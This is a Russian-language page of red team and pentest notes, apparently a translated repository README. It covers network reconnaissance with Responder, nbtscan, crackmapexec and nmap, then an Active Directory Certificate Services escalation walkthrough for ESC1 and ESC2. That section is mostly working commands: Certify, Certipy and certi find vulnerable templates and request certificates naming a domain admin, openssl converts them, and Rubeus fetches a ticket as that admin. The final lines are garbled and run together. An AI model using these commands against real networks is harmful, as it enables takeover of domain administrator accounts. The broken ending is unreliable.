
RedTeam/Pentest заметки и эксперименты, протестированные на нескольких инфраструктурах, связанных с профессиональными задачами.
Общедоступные заметки о моих экспериментах по pentesting/red teaming, протестированных в нескольких контролируемых средах/инфраструктурах, которые включают работу с различными инструментами и техниками, используемыми пентестерами и редтимерами во время оценки безопасности.
Мы приветствуем вклады в виде github pull requests.
Kudos и спасибо людям, которые сделали сложную работу.
Отказ от ответственности
Только для образовательных целей, используйте на свой страх и риск.
Сбор информации о доменном имени и Windows-машинах, работающих в сети.```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24
или```bash
bash$ responder-RunFinger
Сканирование IP-сетей для получения информации об именах NetBIOS.```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24
## Crackmapexec v 4.0
Сканирует диапазон сети на основе информации SMB```bash
bash$ cme smb 192.168.1.1/24
Сканировать всю сеть машины и сохранить выводы.
Быстрое сканирование```bash bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP
Интенсивное сканирование (Примечание: рекомендуется):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP
Сканирование с перечислением версий запущенных сервисов :
## Angry IP scanner
Скачайте инструмент по этой ссылке:
[Angry IP Scanner](http://angryip.org/download/#linux)
* Измените настройки предпочтений
> Перейдите: Предпочтения -> Порты -> добавьте 80,445,554,21 ,22 в выбор портов <br>
> Перейдите: Предпочтения -> Отображение -> выберите Активные хосты <br>
> Перейдите: Предпочтения -> Ping -> выберите Комбинированный (UDP/TCP)
# Боковое перемещение и эксплуатация
### Службы сертификатов Active Directory
Эта часть скопирована с https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>За подробностями обращайтесь: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
(Протестировано в частной среде (Bloodhound, затем эксплуатация ESC1)
* Поиск сервера ADCS
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* Перечисление корпоративных центров сертификации AD с помощью certutil: `certutil.exe -config - -ping`, `certutil -dump`
#### ESC1 - Неправильно настроенные шаблоны сертификатов
> Пользователи домена могут регистрироваться в шаблоне **VulnTemplate**, который может использоваться для аутентификации клиентов и имеет установленный флаг **ENROLLEE_SUPPLIES_SUBJECT**. Это позволяет любому зарегистрироваться в этом шаблоне и указать произвольное альтернативное имя субъекта (например, администратора домена). Позволяет привязывать к сертификату дополнительные удостоверения помимо субъекта.
Требования:
* Шаблон, допускающий аутентификацию AD
* Флаг **ENROLLEE_SUPPLIES_SUBJECT**
* [PKINIT] Аутентификация клиента, вход по смарт-карте, любая цель или отсутствие EKU (расширенного/дополнительного использования ключа)
Эксплуатация:
* Используйте [Certify.exe](https://github.com/GhostPack/Certify) для проверки наличия уязвимых шаблонов
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```
* Используйте Certify, [Certi](https://github.com/eloypgz/certi) или [Certipy](https://github.com/ly4k/Certipy) для запроса сертификата и добавления альтернативного имени (пользователя для подмены)
```ps1
# запросить сертификаты для учётной записи компьютера, выполнив Certify с аргументом "/machine" из повышенной командной строки.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
```
* Используйте OpenSSL и преобразуйте сертификат, не вводите пароль
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* Переместите cert.pfx в файловую систему целевой машины и запросите TGT для пользователя altname с помощью Rubeus
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**ПРЕДУПРЕЖДЕНИЕ**: Эти сертификаты останутся действительными, даже если пользователь или компьютер сбросит свой пароль!
**ПРИМЕЧАНИЕ**: Ищите флаги **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** и ретрансляцию NTLM на конечные точки AD CS HTTP.
#### ESC2 - Неправильно настроенные шаблоны сертификатов
Требования:
* Позволяет запрашивающему указывать альтернативное имя субъекта (SAN) в CSR, а также допускает любое использование EKU (2.5.29.37.0)
Эксплуатация:
* Найдите шаблон ```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
/altname в качестве администратора домена, как в ESC1.ESC3 — это когда шаблон сертификата указывает EKU агента запроса сертификата (агента регистрации). Этот EKU может использоваться для запроса сертификатов от имени других пользователей
Включение флага
mspki-certificate-name-flagдля шаблона, который позволяет аутентификацию в домене, позволяет злоумышленникам «протолкнуть» неправильную конфигурацию в шаблон, что приводит к уязвимости ESC1